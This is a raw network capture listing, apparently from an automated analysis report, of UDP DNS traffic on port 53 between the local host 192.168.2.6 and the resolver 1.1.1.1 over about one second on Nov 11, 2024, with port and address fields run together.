                                                                                                                                                                                                          Nov 11, 2024 18:13:20.708710909 CET53546491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.709572077 CET53640531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.712023973 CET53524311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.712946892 CET53611001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.713071108 CET53601891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.714345932 CET53616651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.715711117 CET6475653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.716809988 CET5951653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.718575954 CET6301253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.719157934 CET5092153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.719912052 CET5253153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.721678019 CET6134753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.722029924 CET4996853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.722559929 CET53514611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.723270893 CET5740953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.724714041 CET53576931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.725675106 CET5828853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.726983070 CET53637181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.727516890 CET53630121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.728080988 CET53591081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.730019093 CET53639651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.730751038 CET53613471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.731642962 CET53499681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.732678890 CET53509211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.733674049 CET53574091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.733778954 CET53647561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.735491991 CET53582881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.738938093 CET53525311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.744380951 CET5361953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.744477034 CET5564953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.748228073 CET53595161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.750869989 CET5637253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.754780054 CET53556491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.755729914 CET53536191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.762075901 CET53563721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.788187027 CET6046553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.797265053 CET5472553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.797411919 CET5878553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.798607111 CET53604651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.804205894 CET5180253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.804536104 CET6203153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.804744959 CET5549753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.804950953 CET6510253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.805144072 CET5156253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.805373907 CET5135353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.805681944 CET6048053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.807254076 CET53587851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.807256937 CET6383653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.807320118 CET53547251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.807903051 CET6357353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.813240051 CET5907053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.814115047 CET53554971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.814156055 CET53518021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.814173937 CET53620311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.814364910 CET53513531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.818027020 CET53638361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.822894096 CET53515621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.824137926 CET53590701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.827239990 CET53635731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.837289095 CET53651021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.839277983 CET53604801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.889525890 CET6425353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.890407085 CET5703753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.893543959 CET5728153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.900305033 CET53642531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.905255079 CET5558653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.910523891 CET6197353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.914740086 CET53555861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.920259953 CET53619731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.921456099 CET4996053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.921715975 CET53570371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.924056053 CET53572811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.929848909 CET5530553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.930428028 CET6300853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.930629969 CET5525953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.940082073 CET53630081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.948175907 CET6359653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.948508978 CET5956453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.948821068 CET53552591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.948879004 CET4965953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.949192047 CET6495053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.951766014 CET5949353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.953075886 CET5199753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.955271006 CET53499601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.957689047 CET6425753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.959754944 CET53496591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.960414886 CET53635961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.960712910 CET5158353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.960964918 CET6226753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.961258888 CET53553051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.961837053 CET6477353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.962039948 CET5651353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.962532043 CET5887753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.962676048 CET6271753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.962783098 CET6143253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.964416981 CET5474653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.964509964 CET6369853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.965769053 CET5914453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.965780020 CET6236153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.967346907 CET53595641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.968791008 CET53642571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.969842911 CET53647731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.970849037 CET53515831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.971854925 CET53565131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.972449064 CET53627171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.975878000 CET53623611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.978838921 CET53622671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.980272055 CET53649501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.983407974 CET53594931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.984894991 CET53519971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.993247986 CET53588771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.996054888 CET53614321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.996068001 CET53636981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.996079922 CET53547461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.997947931 CET53591441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002361059 CET5612653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002563953 CET5989753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002563953 CET6113753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002757072 CET6258953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.002969980 CET4927553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.003344059 CET4922953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.003500938 CET5196953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.003724098 CET5538653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.009572029 CET5243953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.009937048 CET5984953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.012578011 CET5318953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.012583971 CET53598971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.013307095 CET53611371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.013318062 CET53625891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.013859987 CET53492291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.013907909 CET53561261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.014342070 CET53492751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.016957998 CET53553861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.019013882 CET53519691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.019937038 CET53524391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.020531893 CET6210253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.021675110 CET53598491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.023207903 CET53531891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.023224115 CET5607253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.023526907 CET5235753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.027985096 CET5176453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.029439926 CET5725353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.029668093 CET5691853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.029814959 CET6061853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.030004025 CET6305853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.030148983 CET5258153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.030379057 CET5756153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.030690908 CET5430853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.031240940 CET5245153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.031806946 CET5276453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.031965971 CET5077353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.032188892 CET6115553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.032354116 CET5826853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.032527924 CET5044253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.032697916 CET53523571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.035186052 CET6088653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.036839962 CET53606181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.038153887 CET53517641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.038525105 CET5262553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.039237022 CET53630581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.040018082 CET53572531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.040457010 CET53569181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.040817976 CET53543081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.041366100 CET53524511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.041847944 CET53611551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.042042971 CET53575611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.043171883 CET53582681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.044856071 CET5102353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.045110941 CET53608861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.048280001 CET53526251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.052469015 CET53504421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.052735090 CET53621021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.054507971 CET53560721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.054932117 CET53510231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.055917025 CET5456353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.056135893 CET6047753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.056303024 CET5251553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.056463957 CET5623753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.059804916 CET6051053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.060257912 CET53525811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.062268972 CET53527641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.063232899 CET53507731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.063271046 CET53562371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.065525055 CET53545631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.065660000 CET53604771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.089909077 CET53525151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.089940071 CET53605101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.195087910 CET5680853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.204912901 CET53568081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.583712101 CET6257953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.583712101 CET6528853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.584115982 CET5867753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.584563971 CET5110653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.584760904 CET5939153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.587456942 CET5111753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.587940931 CET5923353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.590060949 CET5703953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.590305090 CET5671353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.591211081 CET5354853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.591552019 CET6188753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.592992067 CET5458853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.593717098 CET53511061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.594093084 CET6470553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.594119072 CET53586771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.594435930 CET6335553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.594841003 CET53652881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.595953941 CET53593911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.597882986 CET53511171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.599559069 CET53535481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.599571943 CET53567131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.600594997 CET53570391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.600606918 CET53618871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.602880955 CET5438953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.603180885 CET5700753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.603591919 CET53647051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.603708029 CET5528953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.603938103 CET53545881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.605036020 CET53633551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.605830908 CET6131453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.606168985 CET5793353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.606899977 CET5831653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.607182026 CET53592331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.607405901 CET6316853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.607609034 CET5401453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.608468056 CET5848753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.613725901 CET53543891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.615206003 CET53625791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.615734100 CET53583161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.616710901 CET53613141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.616724968 CET53579331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.617865086 CET53584871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.624166965 CET6009053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.624166965 CET5084553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.625124931 CET53631681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.625750065 CET6258553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.634761095 CET53552891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.635279894 CET53508451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.635292053 CET53570071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.636116982 CET53625851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.638925076 CET53540141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.642026901 CET53600901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.708101034 CET5915053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.708466053 CET6237553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.708748102 CET5476753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.709260941 CET6482253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.709593058 CET6196653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.709892988 CET5258253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.718420982 CET53547671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.718466997 CET53623751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.719131947 CET53591501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.728848934 CET6045553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.728883028 CET5500753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.729223013 CET5863653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.729800940 CET4990953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.729965925 CET5672053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.730021954 CET6382453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.730314016 CET5826453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.730967045 CET5672653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.732160091 CET53619661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.737859011 CET53550071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.738528967 CET6354153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.738944054 CET53604551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.739352942 CET53499091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740489960 CET5211053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740731001 CET6268853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740778923 CET5663453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740890980 CET53638241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740909100 CET53586361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740984917 CET53525821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.740997076 CET53648221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.741097927 CET5709453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.741472006 CET53582641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.746057987 CET5442353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.746234894 CET5606653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.746397018 CET6521253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.746539116 CET5852753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.747323990 CET5722753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.747936010 CET5755053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.748507023 CET53567261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749114037 CET6141453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749296904 CET6392853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749669075 CET5407453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749849081 CET5693753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.749999046 CET5534853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.750443935 CET53635411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.750540018 CET5857653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.750693083 CET53521101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.750963926 CET53570941.1.1.1192.168.2.6
